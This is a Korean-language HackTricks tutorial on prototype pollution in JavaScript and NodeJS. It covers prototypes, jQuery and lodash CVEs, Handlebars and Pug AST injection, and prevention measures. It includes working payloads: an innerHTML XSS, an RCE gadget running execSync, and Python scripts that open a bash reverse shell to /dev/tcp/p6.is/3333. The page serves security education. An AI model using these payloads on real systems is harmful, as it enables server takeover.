NodeJS - __proto__ & prototype Pollution
Reading time: 11 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
JavaScript의 객체
JavaScript의 객체는 본질적으로 키-값 쌍의 모음으로, 속성이라고 합니다. 객체는 Object.create
를 사용하여 null
을 인수로 전달하여 빈 객체를 생성할 수 있습니다. 이 방법은 상속된 속성 없이 객체를 생성할 수 있게 해줍니다.
// Run this in the developers tools console
console.log(Object.create(null)) // This will output an empty object.
빈 객체는 빈 사전과 유사하며, {}
로 표현됩니다.
JavaScript의 함수와 클래스
JavaScript에서 클래스와 함수는 밀접하게 연결되어 있으며, 함수는 종종 클래스의 생성자로 사용됩니다. JavaScript는 기본적인 클래스 지원이 없지만, 생성자는 클래스 동작을 모방할 수 있습니다.
// Run this in the developers tools console
function Employee(name, position) {
this.name = name
this.position = position
this.introduce = function () {
return "My name is " + this.name + " and I work as a " + this.position + "."
}
}
Employee.prototype
var employee1 = new Employee("Generic Employee", "Developer")
employee1.__proto__
JavaScript의 프로토타입
JavaScript는 런타임에 프로토타입 속성을 수정, 추가 또는 삭제할 수 있습니다. 이 유연성은 클래스 기능의 동적 확장을 가능하게 합니다.
toString
및 valueOf
와 같은 함수는 그 동작을 변경하기 위해 수정될 수 있으며, 이는 JavaScript의 프로토타입 시스템의 적응 가능한 특성을 보여줍니다.
상속
프로토타입 기반 프로그래밍에서 속성/메서드는 객체가 클래스에서 상속받습니다. 이러한 클래스는 다른 클래스의 인스턴스나 빈 객체에 속성/메서드를 추가하여 생성됩니다.
다른 객체의 프로토타입 역할을 하는 객체(예: myPersonObj
)에 속성이 추가될 때, 상속받는 객체는 이 새로운 속성에 접근할 수 있다는 점에 유의해야 합니다. 그러나 이 속성은 명시적으로 호출되지 않는 한 자동으로 표시되지 않습니다.
__proto__ 오염
JavaScript에서 프로토타입 오염 탐색
JavaScript 객체는 키-값 쌍으로 정의되며 JavaScript Object 프로토타입에서 상속됩니다. 이는 Object 프로토타입을 변경하면 환경의 모든 객체에 영향을 미칠 수 있음을 의미합니다.
다른 예제를 사용하여 설명해 보겠습니다:
function Vehicle(model) {
this.model = model
}
var car1 = new Vehicle("Tesla Model S")
Object 프로토타입에 대한 접근은 다음을 통해 가능합니다:
car1.__proto__.__proto__
Vehicle.__proto__.__proto__
Object 프로토타입에 속성을 추가함으로써, 모든 JavaScript 객체는 이러한 새로운 속성을 상속받게 됩니다:
function Vehicle(model) {
this.model = model
}
var car1 = new Vehicle("Tesla Model S")
// Adding a method to the Object prototype
car1.__proto__.__proto__.announce = function () {
console.log("Beep beep!")
}
car1.announce() // Outputs "Beep beep!"
// Adding a property to the Object prototype
car1.__proto__.__proto__.isVehicle = true
console.log(car1.isVehicle) // Outputs true
prototype pollution
__proto__
사용이 제한된 시나리오에서는 함수의 프로토타입을 수정하는 것이 대안입니다:
function Vehicle(model) {
this.model = model
}
var car1 = new Vehicle("Tesla Model S")
// Adding properties to the Vehicle prototype
Vehicle.prototype.beep = function () {
console.log("Beep beep!")
}
car1.beep() // Now works and outputs "Beep beep!"
Vehicle.prototype.hasWheels = true
console.log(car1.hasWheels) // Outputs true
// Alternate method
car1.constructor.prototype.honk = function () {
console.log("Honk!")
}
car1.constructor.prototype.isElectric = true
이것은 Vehicle
생성자에서 생성된 객체에만 영향을 미치며, 이들에게 beep
, hasWheels
, honk
, 및 isElectric
속성을 부여합니다.
프로토타입 오염을 통해 JavaScript 객체에 전역적으로 영향을 미치는 두 가지 방법은 다음과 같습니다:
Object.prototype
를 직접 오염시키기:
Object.prototype.goodbye = function () {
console.log("Goodbye!")
}
- 일반적으로 사용되는 구조체의 생성자 프로토타입 오염:
var example = { key: "value" }
example.constructor.prototype.greet = function () {
console.log("Hello!")
}
이 작업 후, 모든 JavaScript 객체는 goodbye
및 greet
메서드를 실행할 수 있습니다.
다른 객체 오염시키기
클래스에서 Object.prototype으로
특정 객체를 오염시킬 수 있는 시나리오에서 Object.prototype
에 도달해야 하는 경우, 다음과 같은 코드로 검색할 수 있습니다:
// From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/
// Search from "window" object
for (let key of Object.getOwnPropertyNames(window)) {
if (window[key]?.constructor.prototype === Object.prototype) {
console.log(key)
}
}
// Imagine that the original object was document.querySelector('a')
// With this code you could find some attributes to get the object "window" from that one
for (let key1 in document.querySelector("a")) {
for (let key2 in document.querySelector("a")[key1]) {
if (document.querySelector("a")[key1][key2] === window) {
console.log(key1 + "." + key2)
}
}
}
배열 요소 오염
JS에서 객체의 속성을 오염시킬 수 있는 것처럼, 배열에 오염시킬 수 있는 접근 권한이 있다면 인덱스를 통해 접근 가능한 배열의 값도 오염시킬 수 있습니다 (값을 덮어쓸 수는 없으므로, 어떤 식으로든 사용되지만 쓰이지 않는 인덱스를 오염시켜야 합니다).
c = [1, 2]
a = []
a.constructor.prototype[1] = "yolo"
b = []
b[0] //undefined
b[1] //"yolo"
c[1] // 2 -- not
Html 요소 오염
JS를 통해 HTML 요소를 생성할 때 innerHTML
속성을 덮어쓰는 것이 가능하여 임의의 HTML 코드를 작성할 수 있습니다. 이 글에서 아이디어와 예시입니다.
// Create element
devSettings["root"] = document.createElement('main')
// Pollute innerHTML
settings[root][innerHTML]=<"svg onload=alert(1)>"
// Pollute innerHTML of the ownerProperty to avoid overwrites of innerHTML killing the payload
settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domain)>"
예제
기본 예제
프로토타입 오염은 Object.prototype
의 속성을 덮어쓸 수 있는 애플리케이션의 결함으로 인해 발생합니다. 이는 대부분의 객체가 Object.prototype
에서 속성을 파생시키기 때문에 의미합니다.
가장 쉬운 예는 확인될 객체의 정의되지 않은 속성에 값을 추가하는 것입니다.
if (user.admin) {
속성이 admin
이 정의되지 않은 경우 PP를 악용하고 다음과 같이 True로 설정할 수 있습니다:
Object.prototype.isAdmin = true
let user = {}
user.isAdmin // true
이 메커니즘은 공격자가 특정 입력을 제어할 수 있는 경우 애플리케이션의 모든 객체의 프로토타입을 수정할 수 있도록 속성을 조작하는 것과 관련이 있습니다. 이 조작은 일반적으로 __proto__
속성을 설정하는 것을 포함하며, JavaScript에서는 객체의 프로토타입을 직접 수정하는 것과 동의어입니다.
이 공격이 성공적으로 실행될 수 있는 조건은 특정 연구에서 설명된 바와 같이 다음과 같습니다:
- 재귀적 병합 수행.
- 경로를 기반으로 속성 정의.
- 객체 복제.
Override function
customer.__proto__.toString = ()=>{alert("polluted")}
프로토 오염을 통한 RCE
기타 페이로드:
클라이언트 측 프로토타입 오염을 통한 XSS
Client Side Prototype Pollution
CVE-2019–11358: jQuery $ .extend를 통한 프로토타입 오염 공격
자세한 내용은 이 기사를 확인하세요 jQuery에서 $ .extend
함수는 깊은 복사 기능이 잘못 사용될 경우 프로토타입 오염을 초래할 수 있습니다. 이 함수는 일반적으로 객체를 복제하거나 기본 객체에서 속성을 병합하는 데 사용됩니다. 그러나 잘못 구성된 경우, 새로운 객체를 위한 속성이 대신 프로토타입에 할당될 수 있습니다. 예를 들어:
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
console.log({}.devMode) // Outputs: true
이 취약점은 CVE-2019–11358로 식별되며, 깊은 복사가 어떻게 우연히 프로토타입을 수정할 수 있는지를 보여줍니다. 이는 isAdmin
과 같은 속성이 적절한 존재 확인 없이 확인될 경우 무단 관리자 접근과 같은 잠재적인 보안 위험으로 이어질 수 있습니다.
CVE-2018–3721, CVE-2019–10744: lodash를 통한 프로토타입 오염 공격
Lodash는 유사한 프로토타입 오염 취약점(CVE-2018–3721, CVE-2019–10744)에 직면했습니다. 이러한 문제는 버전 4.17.11에서 해결되었습니다.
CVE가 포함된 또 다른 튜토리얼
프로토타입 오염 탐지를 위한 도구
- Server-Side-Prototype-Pollution-Gadgets-Scanner: 웹 애플리케이션에서 서버 측 프로토타입 오염 취약점을 탐지하고 분석하기 위해 설계된 Burp Suite 확장입니다. 이 도구는 요청을 스캔하여 잠재적인 프로토타입 오염 문제를 식별하는 과정을 자동화합니다. 이는 알려진 가젯 - 프로토타입 오염을 활용하여 해로운 작업을 실행하는 방법 - 을 악용하며, 특히 Node.js 라이브러리에 중점을 둡니다.
- server-side-prototype-pollution: 이 확장은 서버 측 프로토타입 오염 취약점을 식별합니다. 이는 서버 측 프로토타입 오염에서 설명된 기술을 사용합니다.
NodeJS의 AST 프로토타입 오염
NodeJS는 템플릿 엔진 및 TypeScript와 같은 기능을 위해 JavaScript에서 추상 구문 트리(AST)를 광범위하게 활용합니다. 이 섹션에서는 템플릿 엔진, 특히 Handlebars와 Pug에서의 프로토타입 오염과 관련된 취약점을 탐구합니다.
Handlebars 취약점 분석
Handlebars 템플릿 엔진은 프로토타입 오염 공격에 취약합니다. 이 취약점은 javascript-compiler.js
파일 내의 특정 함수에서 발생합니다. 예를 들어, appendContent
함수는 pendingContent
가 존재할 경우 이를 연결하고, pushSource
함수는 소스를 추가한 후 pendingContent
를 undefined
로 재설정합니다.
악용 과정
악용은 Handlebars에 의해 생성된 AST(추상 구문 트리)를 활용하며, 다음 단계를 따릅니다:
- 파서 조작: 처음에 파서는
NumberLiteral
노드를 통해 값이 숫자여야 한다고 강제합니다. 프로토타입 오염은 이를 우회할 수 있어 비숫자 문자열을 삽입할 수 있게 합니다. - 컴파일러에 의한 처리: 컴파일러는 AST 객체 또는 문자열 템플릿을 처리할 수 있습니다.
input.type
이Program
과 같으면 입력이 미리 파싱된 것으로 간주되어 악용될 수 있습니다. - 코드 주입:
Object.prototype
을 조작하여 템플릿 함수에 임의의 코드를 주입할 수 있으며, 이는 원격 코드 실행으로 이어질 수 있습니다.
Handlebars 취약점의 악용을 보여주는 예:
const Handlebars = require("handlebars")
Object.prototype.type = "Program"
Object.prototype.body = [
{
type: "MustacheStatement",
path: 0,
params: [
{
type: "NumberLiteral",
value:
"console.log(process.mainModule.require('child_process').execSync('id').toString())",
},
],
loc: {
start: 0,
end: 0,
},
},
]
const source = `Hello {{ msg }}`
const template = Handlebars.precompile(source)
console.log(eval("(" + template + ")")["main"].toString())
이 코드는 공격자가 Handlebars 템플릿에 임의의 코드를 주입할 수 있는 방법을 보여줍니다.
외부 참조: 'flat' 라이브러리에서 프로토타입 오염과 관련된 문제가 발견되었습니다. 자세한 내용은 여기에서 확인하세요: Issue on GitHub.
외부 참조: flat' 라이브러리의 프로토타입 오염과 관련된 문제
Python에서 프로토타입 오염 악용의 예:
import requests
TARGET_URL = 'http://10.10.10.10:9090'
# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.type": "Program",
"__proto__.body": [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}],
"loc": {
"start": 0,
"end": 0
}
}]
})
# execute
requests.get(TARGET_URL)
Pug 취약점
Pug는 또 다른 템플릿 엔진으로, 프로토타입 오염의 유사한 위험에 직면해 있습니다. 자세한 정보는 Pug의 AST Injection 논의에서 확인할 수 있습니다.
Pug에서의 프로토타입 오염 예:
import requests
TARGET_URL = 'http://10.10.10.10:9090'
# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}
})
# execute
requests.get(TARGET_URL)
예방 조치
프로토타입 오염의 위험을 줄이기 위해 아래에 나열된 전략을 사용할 수 있습니다:
- 객체 불변성:
Object.prototype
은Object.freeze
를 적용하여 불변으로 만들 수 있습니다. - 입력 검증: JSON 입력은 애플리케이션의 스키마에 대해 철저히 검증해야 합니다.
- 안전한 병합 함수: 재귀 병합 함수의 안전하지 않은 사용은 피해야 합니다.
- 프로토타입 없는 객체: 프로토타입 속성이 없는 객체는
Object.create(null)
을 사용하여 생성할 수 있습니다. - Map 사용: 키-값 쌍을 저장할 때
Object
대신Map
을 사용해야 합니다. - 라이브러리 업데이트: 라이브러리를 정기적으로 업데이트하여 보안 패치를 통합할 수 있습니다.
- 린터 및 정적 분석 도구: ESLint와 적절한 플러그인을 사용하여 프로토타입 오염 취약점을 감지하고 방지하는 도구를 사용하세요.
- 코드 리뷰: 프로토타입 오염과 관련된 잠재적 위험을 식별하고 수정하기 위해 철저한 코드 리뷰를 구현하세요.
- 보안 교육: 개발자에게 프로토타입 오염의 위험과 안전한 코드를 작성하기 위한 모범 사례에 대해 교육하세요.
- 라이브러리 사용 시 주의: 서드파티 라이브러리를 사용할 때 주의하세요. 그들의 보안 상태를 평가하고, 특히 객체를 조작하는 코드에 대해 검토하세요.
- 런타임 보호: 프로토타입 오염 공격을 감지하고 방지할 수 있는 보안 중심의 npm 패키지를 사용하는 등의 런타임 보호 메커니즘을 사용하세요.
참고 문헌
- https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/
- https://dev.to/caffiendkitten/prototype-inheritance-pollution-2o5l
- https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7
- https://blog.p6.is/AST-Injection/
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.